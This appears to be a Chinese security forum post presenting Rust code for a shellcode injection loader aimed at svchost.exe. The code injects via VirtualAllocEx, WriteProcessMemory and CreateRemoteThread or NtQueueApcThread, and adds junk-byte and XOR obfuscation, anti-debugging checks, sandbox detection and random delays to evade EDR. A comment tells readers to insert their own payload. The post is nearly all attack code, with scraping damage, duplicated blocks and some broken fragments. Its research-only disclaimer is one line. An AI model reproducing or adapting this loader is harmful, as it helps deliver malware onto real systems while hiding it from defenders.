利用合法系统进程(如 svchost.exe、explorer.exe)的未使用内存页注入 shellcode,通过内存地址随机化+熵值混淆技术(如插入伪随机垃圾代码片段),规避 EDR 的内存扫描
之后我将使用Rust代码来呈现这一攻击技术:
当然实际使用需要搭配动态行为混淆和反调试技术
以上技术只用于安全对抗研究,对于此技术有相应的防御措施
use winapi::{
ctypes::c_void,
um::{
memoryapi::{VirtualAllocEx, VirtualProtectEx, WriteProcessMemory},
processthreadsapi::{CreateRemoteThread, OpenProcess},
tlhelp32::{CreateToolhelp32Snapshot, Process32First, Process32Next, TH32CS_SNAPPROCESS},
winnt::{MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READ, PAGE_READWRITE, PROCESS_ALL_ACCESS},
},
};
use rand::Rng;
use std::{ffi::CString, mem::size_of, ptr};
/
/
混淆 shellcode 增加熵值
fn obfuscate_shellcode(shellcode: &[u8])
-
> Vec<u8> {
let mut rng
=
rand::thread_rng();
let mut obfuscated
=
Vec::with_capacity(shellcode.
len
()
*
2
);
/
/
插入随机垃圾指令(示例使用 NOP 和随机字节)
for
&byte
in
shellcode {
obfuscated.push(byte);
if
rng.gen_bool(
0.5
) {
/
/
50
%
概率插入垃圾
obfuscated.extend(&[
0x90
;
4
]);
/
/
NOP 指令
obfuscated.push(rng.gen());
/
/
随机字节
}
}
obfuscated
}
/
/
查找目标进程 PID
unsafe fn find_pid(process_name: &
str
)
-
> Option<u32> {
let snapshot
=
CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,
0
);
if
snapshot.is_null() {
return
None
;
}
let mut entry: winapi::um::tlhelp32::PROCESSENTRY32
=
std::mem::zeroed();
entry.dwSize
=
size_of::<winapi::um::tlhelp32::PROCESSENTRY32>() as u32;
if
Process32First(snapshot, &mut entry)
=
=
0
{
return
None
;
}
loop {
let name
=
CString::from_vec_unchecked(entry.szExeFile.
iter
()
.take_while(|&&c| c !
=
0
)
.
map
(|&c| c as u8)
.collect());
if
name.to_string_lossy()
=
=
process_name {
return
Some(entry.th32ProcessID);
}
if
Process32Next(snapshot, &mut entry)
=
=
0
{
break
;
}
}
None
}
/
/
注入主函数
fn ghost_inject(process_name: &
str
, shellcode: &[u8]) {
/
/
混淆 shellcode
let obfuscated
=
obfuscate_shellcode(shellcode);
unsafe {
/
/
查找目标进程
let pid
=
find_pid(process_name).expect(
"Process not found"
);
let process
=
OpenProcess(PROCESS_ALL_ACCESS,
0
, pid);
/
/
随机化内存分配(系统自动选择地址)
let alloc_addr
=
VirtualAllocEx(
process,
ptr::null_mut(),
obfuscated.
len
(),
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE,
);
/
/
写入内存
let mut bytes_written
=
0
;
WriteProcessMemory(
process,
alloc_addr,
obfuscated.as_ptr() as
*
const _,
obfuscated.
len
(),
&mut bytes_written,
);
/
/
修改内存保护
let mut old_protect
=
0
;
VirtualProtectEx(
process,
alloc_addr,
obfuscated.
len
(),
PAGE_EXECUTE_READ,
&mut old_protect,
);
/
/
创建远程线程(更隐蔽的方式应使用 APC)
CreateRemoteThread(
process,
ptr::null_mut(),
0
,
Some(std::mem::transmute(alloc_addr)),
ptr::null_mut(),
0
,
ptr::null_mut(),
);
}
}
fn main() {
/
/
这里的shellcode替换为你所使用的payload
let shellcode
=
[
0x90
;
128
];
/
/
这里的
"svchost.exe"
可以替换为目标机实际存活的其它exe
ghost_inject(
"svchost.exe"
, &shellcode);
}
use winapi::{
ctypes::c_void,
um::{
memoryapi::{VirtualAllocEx, VirtualProtectEx, WriteProcessMemory},
processthreadsapi::{CreateRemoteThread, OpenProcess},
tlhelp32::{CreateToolhelp32Snapshot, Process32First, Process32Next, TH32CS_SNAPPROCESS},
winnt::{MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READ, PAGE_READWRITE, PROCESS_ALL_ACCESS},
},
};
use rand::Rng;
use std::{ffi::CString, mem::size_of, ptr};
/
/
混淆 shellcode 增加熵值
fn obfuscate_shellcode(shellcode: &[u8])
-
> Vec<u8> {
let mut rng
=
rand::thread_rng();
let mut obfuscated
=
Vec::with_capacity(shellcode.
len
()
*
2
);
/
/
插入随机垃圾指令(示例使用 NOP 和随机字节)
for
&byte
in
shellcode {
obfuscated.push(byte);
if
rng.gen_bool(
0.5
) {
/
/
50
%
概率插入垃圾
obfuscated.extend(&[
0x90
;
4
]);
/
/
NOP 指令
obfuscated.push(rng.gen());
/
/
随机字节
}
}
obfuscated
}
/
/
查找目标进程 PID
unsafe fn find_pid(process_name: &
str
)
-
> Option<u32> {
let snapshot
=
CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,
0
);
if
snapshot.is_null() {
return
None
;
}
let mut entry: winapi::um::tlhelp32::PROCESSENTRY32
=
std::mem::zeroed();
entry.dwSize
=
size_of::<winapi::um::tlhelp32::PROCESSENTRY32>() as u32;
if
Process32First(snapshot, &mut entry)
=
=
0
{
return
None
;
}
loop {
let name
=
CString::from_vec_unchecked(entry.szExeFile.
iter
()
.take_while(|&&c| c !
=
0
)
.
map
(|&c| c as u8)
.collect());
if
name.to_string_lossy()
=
=
process_name {
return
Some(entry.th32ProcessID);
}
if
Process32Next(snapshot, &mut entry)
=
=
0
{
break
;
}
}
None
}
/
/
注入主函数
fn ghost_inject(process_name: &
str
, shellcode: &[u8]) {
/
/
混淆 shellcode
let obfuscated
=
obfuscate_shellcode(shellcode);
unsafe {
/
/
查找目标进程
let pid
=
find_pid(process_name).expect(
"Process not found"
);
let process
=
OpenProcess(PROCESS_ALL_ACCESS,
0
, pid);
/
/
随机化内存分配(系统自动选择地址)
let alloc_addr
=
VirtualAllocEx(
process,
ptr::null_mut(),
obfuscated.
len
(),
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE,
);
/
/
写入内存
let mut bytes_written
=
0
;
WriteProcessMemory(
process,
alloc_addr,
obfuscated.as_ptr() as
*
const _,
obfuscated.
len
(),
&mut bytes_written,
);
/
/
修改内存保护
let mut old_protect
=
0
;
VirtualProtectEx(
process,
alloc_addr,
obfuscated.
len
(),
PAGE_EXECUTE_READ,
&mut old_protect,
);
/
/
创建远程线程(更隐蔽的方式应使用 APC)
CreateRemoteThread(
process,
ptr::null_mut(),
0
,
Some(std::mem::transmute(alloc_addr)),
ptr::null_mut(),
0
,
ptr::null_mut(),
);
}
}
fn main() {
/
/
这里的shellcode替换为你所使用的payload
let shellcode
=
[
0x90
;
128
];
/
/
这里的
"svchost.exe"
可以替换为目标机实际存活的其它exe
ghost_inject(
"svchost.exe"
, &shellcode);
}
/
/
使用更隐蔽的内存区域查找
unsafe fn find_code_cave(process: HANDLE)
-
>
*
mut c_void {
let mut mbi: MEMORY_BASIC_INFORMATION
=
std::mem::zeroed();
let mut addr
=
0
as _;
while
VirtualQueryEx(process, addr, &mut mbi, size_of::<MEMORY_BASIC_INFORMATION>()) !
=
0
{
if
mbi.State
=
=
MEM_COMMIT
&& mbi.Protect & (PAGE_EXECUTE_READ | PAGE_EXECUTE_READWRITE) !
=
0
&& mbi.RegionSize > SHELLCODE_SIZE {
return
addr;
}
addr
=
(addr as usize
+
mbi.RegionSize) as _;
}
ptr::null_mut()
}
/
/
使用更隐蔽的内存区域查找
unsafe fn find_code_cave(process: HANDLE)
-
>
*
mut c_void {
let mut mbi: MEMORY_BASIC_INFORMATION
=
std::mem::zeroed();
let mut addr
=
0
as _;
while
VirtualQueryEx(process, addr, &mut mbi, size_of::<MEMORY_BASIC_INFORMATION>()) !
=
0
{
if
mbi.State
=
=
MEM_COMMIT
&& mbi.Protect & (PAGE_EXECUTE_READ | PAGE_EXECUTE_READWRITE) !
=
0
&& mbi.RegionSize > SHELLCODE_SIZE {
return
addr;
}
addr
=
(addr as usize
+
mbi.RegionSize) as _;
}
ptr::null_mut()
}
fn encrypt_shellcode(shellcode: &[u8], key: u8)
-
> Vec<u8> {
let mut decrypted
=
vec![
0x58
,
/
/
POP EAX
0x48
,
0x8D
,
0x35
,
0x01
,
0x00
,
0x00
,
0x00
,
/
/
LEA RSI, [rel
next
]
0xEB
,
0x08
,
/
/
JMP short
+
8
];
let encrypted: Vec<u8>
=
shellcode.
iter
().
map
(|b| b ^ key).collect();
decrypted.extend(encrypted);
decrypted
}
fn encrypt_shellcode(shellcode: &[u8], key: u8)
-
> Vec<u8> {
let mut decrypted
=
vec![
0x58
,
/
/
POP EAX
0x48
,
0x8D
,
0x35
,
0x01
,
0x00
,
0x00
,
0x00
,
/
/
LEA RSI, [rel
next
]
0xEB
,
0x08
,
/
/
JMP short
+
8
];
let encrypted: Vec<u8>
=
shellcode.
iter
().
map
(|b| b ^ key).collect();
decrypted.extend(encrypted);
decrypted
}
/
/
使用 APC 队列注入(需获取线程句柄)
unsafe fn apc_inject(thread: HANDLE, payload:
*
mut c_void) {
let nt_queue_apc_thread: extern
"system"
fn(HANDLE,
*
mut c_void,
*
mut c_void,
*
mut c_void,
*
mut c_void)
-
> i32;
let ntdll
=
GetModuleHandleA(b
"ntdll.dll\0"
.as_ptr());
nt_queue_apc_thread
=
std::mem::transmute(GetProcAddress(ntdll, b
"NtQueueApcThread\0"
.as_ptr()));
nt_queue_apc_thread(thread, Some(std::mem::transmute(payload)), ptr::null_mut(), ptr::null_mut(), ptr::null_mut());
}
/
/
使用 APC 队列注入(需获取线程句柄)
unsafe fn apc_inject(thread: HANDLE, payload:
*
mut c_void) {
let nt_queue_apc_thread: extern
"system"
fn(HANDLE,
*
mut c_void,
*
mut c_void,
*
mut c_void,
*
mut c_void)
-
> i32;
let ntdll
=
GetModuleHandleA(b
"ntdll.dll\0"
.as_ptr());
nt_queue_apc_thread
=
std::mem::transmute(GetProcAddress(ntdll, b
"NtQueueApcThread\0"
.as_ptr()));
nt_queue_apc_thread(thread, Some(std::mem::transmute(payload)), ptr::null_mut(), ptr::null_mut(), ptr::null_mut());
}
use winapi::{
ctypes::{c_char, c_void},
um::{
memoryapi::{VirtualAllocEx, VirtualProtectEx, WriteProcessMemory},
processthreadsapi::{CreateRemoteThread, OpenProcess, GetCurrentProcess},
tlhelp32::{CreateToolhelp32Snapshot, Process32First, Process32Next, TH32CS_SNAPPROCESS},
winnt::{
MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READ, PAGE_READWRITE,
PROCESS_ALL_ACCESS, PROCESS_BASIC_INFORMATION,
},
errhandlingapi::GetLastError,
},
};
use rand::{Rng, distributions::Alphanumeric};
use std::{ffi::CString, mem::size_of, ptr, time::Duration, thread};
/
/
反调试模块
mod anti_debug {
use
super
::
*
;
/
/
检测调试器存在
pub unsafe fn check_debugger()
-
>
bool
{
let mut is_debugged
=
0
;
let nt_dll
=
GetModuleHandleA(b
"ntdll.dll\0"
.as_ptr());
let dbg_present
=
GetProcAddress(nt_dll, b
"DbgUiRemoteBreakin\0"
.as_ptr());
/
/
检查调试端口(KernelBase!CheckRemoteDebuggerPresent)
let mut status
=
0
;
let func: extern
"system"
fn(HANDLE,
*
mut
BOOL
)
-
> i32
=
std::mem::transmute(GetProcAddress(nt_dll, b
"NtQueryInformationProcess\0"
.as_ptr()));
func(GetCurrentProcess(), &mut is_debugged as
*
mut _ as
*
mut _,
7
, &mut status);
is_debugged !
=
0
}
/
/
检测沙箱环境
pub fn check_sandbox()
-
>
bool
{
/
/
检查内存大小(沙箱通常配置较小)
let mut memory_status
=
MEMORYSTATUSEX {
dwLength: size_of::<MEMORYSTATUSEX>() as u32,
..Default::default()
};
unsafe { GlobalMemoryStatusEx(&mut memory_status) };
memory_status.ullTotalPhys <
4
*
1024
*
1024
*
1024
/
/
小于
4GB
视为可疑
}
}
/
/
动态混淆模块
mod dynamic_obfuscate {
use
super
::
*
;
/
/
多阶段解密(示例使用异或)
pub fn layered_decrypt(data: &[u8], keys: &[u8])
-
> Vec<u8> {
let mut decrypted
=
data.to_vec();
for
&key
in
keys.
iter
().cycle().take(
32
) {
/
/
多次迭代解密
for
byte
in
&mut decrypted {
*
byte ^
=
key;
}
}
decrypted
}
/
/
随机延迟(破坏行为分析)
pub fn random_delay() {
let delay
=
rand::thread_rng().gen_range(
1000.
.
5000
);
thread::sleep(Duration::from_millis(delay));
}
}
/
/
隐蔽注入模块
mod stealth_inject {
use
super
::
*
;
/
/
动态API解析(绕过挂钩)
pub unsafe fn get_api_address(library: &[u8], function: &[u8])
-
>
*
mut c_void {
let module
=
GetModuleHandleA(library.as_ptr());
if
module.is_null() {
return
ptr::null_mut();
}
GetProcAddress(module, function.as_ptr())
}
/
/
APC注入(比CreateRemoteThread更隐蔽)
pub unsafe fn apc_inject(process: HANDLE, shellcode: &[u8]) {
type
NtQueueApcThread
=
extern
"system"
fn(HANDLE,
*
mut c_void,
*
mut c_void,
*
mut c_void,
*
mut c_void)
-
> i32;
let nt_queue_apc_thread
=
get_api_address(b
"ntdll.dll\0"
, b
"NtQueueApcThread\0"
);
let func: NtQueueApcThread
=
std::mem::transmute(nt_queue_apc_thread);
/
/
获取目标进程线程列表
/
/
(此处需要实现线程枚举代码)
/
/
选择一个线程执行APC
func(target_thread, Some(std::mem::transmute(shellcode.as_ptr())),
ptr::null_mut(), ptr::null_mut(), ptr::null_mut());
}
}
/
/
主注入逻辑增强版
fn ghost_inject_pro(process_name: &
str
, encrypted_shellcode: &[u8]) {
/
/
反调试检查
if
unsafe { anti_debug::check_debugger() } || anti_debug::check_sandbox() {
return
;
}
/
/
动态混淆执行流
dynamic_obfuscate::random_delay();
/
/
多层解密(示例密钥)
let keys
=
b
"GhostInjectionKey123!"
;
let shellcode
=
dynamic_obfuscate::layered_decrypt(encrypted_shellcode, keys);
unsafe {
/
/
使用动态API获取关键函数地址
let virt_alloc
=
stealth_inject::get_api_address(b
"kernel32.dll\0"
, b
"VirtualAllocEx\0"
);
let func: extern
"system"
fn(HANDLE,
*
mut c_void, SIZE_T, DWORD, DWORD)
-
>
*
mut c_void
=
std::mem::transmute(virt_alloc);
/
/
分配内存(使用系统自动地址选择)
let process
=
OpenProcess(PROCESS_ALL_ACCESS,
0
, find_pid(process_name).unwrap());
let alloc_addr
=
func(process, ptr::null_mut(), shellcode.
len
(), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
/
/
写入内存
let mut bytes_written
=
0
;
WriteProcessMemory(process, alloc_addr, shellcode.as_ptr() as
*
const _, shellcode.
len
(), &mut bytes_written);
/
/
修改内存保护
let mut old_protect
=
0
;
VirtualProtectEx(process, alloc_addr, shellcode.
len
(), PAGE_EXECUTE_READ, &mut old_protect);
/
/
使用APC注入代替CreateRemoteThread
stealth_inject::apc_inject(process, &shellcode);
}
}
use winapi::{
ctypes::{c_char, c_void},
um::{
memoryapi::{VirtualAllocEx, VirtualProtectEx, WriteProcessMemory},
processthreadsapi::{CreateRemoteThread, OpenProcess, GetCurrentProcess},
tlhelp32::{CreateToolhelp32Snapshot, Process32First, Process32Next, TH32CS_SNAPPROCESS},
winnt::{
MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READ, PAGE_READWRITE,
PROCESS_ALL_ACCESS, PROCESS_BASIC_INFORMATION,
},
errhandlingapi::GetLastError,
},
};
use rand::{Rng, distributions::Alphanumeric};
use std::{ffi::CString, mem::size_of, ptr, time::Duration, thread};
/
/
反调试模块
mod anti_debug {
use
super
::
*
;
/
/
检测调试器存在
pub unsafe fn check_debugger()
-
>
bool
{
let mut is_debugged
=
0
;
let nt_dll
=
GetModuleHandleA(b
"ntdll.dll\0"
.as_ptr());
let dbg_present
=
GetProcAddress(nt_dll, b
"DbgUiRemoteBreakin\0"
.as_ptr());
/
/
检查调试端口(KernelBase!CheckRemoteDebuggerPresent)
let mut status
=
0
;
let func: extern
"system"
fn(HANDLE,
*
mut
BOOL
)
-
> i32
=
std::mem::transmute(GetProcAddress(nt_dll, b
"NtQueryInformationProcess\0"
.as_ptr()));
func(GetCurrentProcess(), &mut is_debugged as
*
mut _ as
*
mut _,
7
, &mut status);
is_debugged !
=
0
}
/
/
检测沙箱环境
pub fn check_sandbox()
-
>
bool
{
/
/
检查内存大小(沙箱通常配置较小)
let mut memory_status
=
MEMORYSTATUSEX {
dwLength: size_of::<MEMORYSTATUSEX>() as u32,
..Default::default()
};
unsafe { GlobalMemoryStatusEx(&mut memory_status) };
memory_status.ullTotalPhys <
4
*
1024
*
1024
*
1024
/
/
小于
4GB
视为可疑
}
}
/
/
动态混淆模块
mod dynamic_obfuscate {
use
super
::
*
;
/
/
多阶段解密(示例使用异或)
pub fn layered_decrypt(data: &[u8], keys: &[u8])
-
> Vec<u8> {
let mut decrypted
=
data.to_vec();
for
&key
in
keys.
iter
().cycle().take(
32
) {
/
/
多次迭代解密
for
byte
in
&mut decrypted {
*
byte ^
=
key;
}
}
decrypted
}
[注意]看雪招聘,专注安全领域的专业人才平台!
最后于 5天前
被Hrlies编辑
,原因: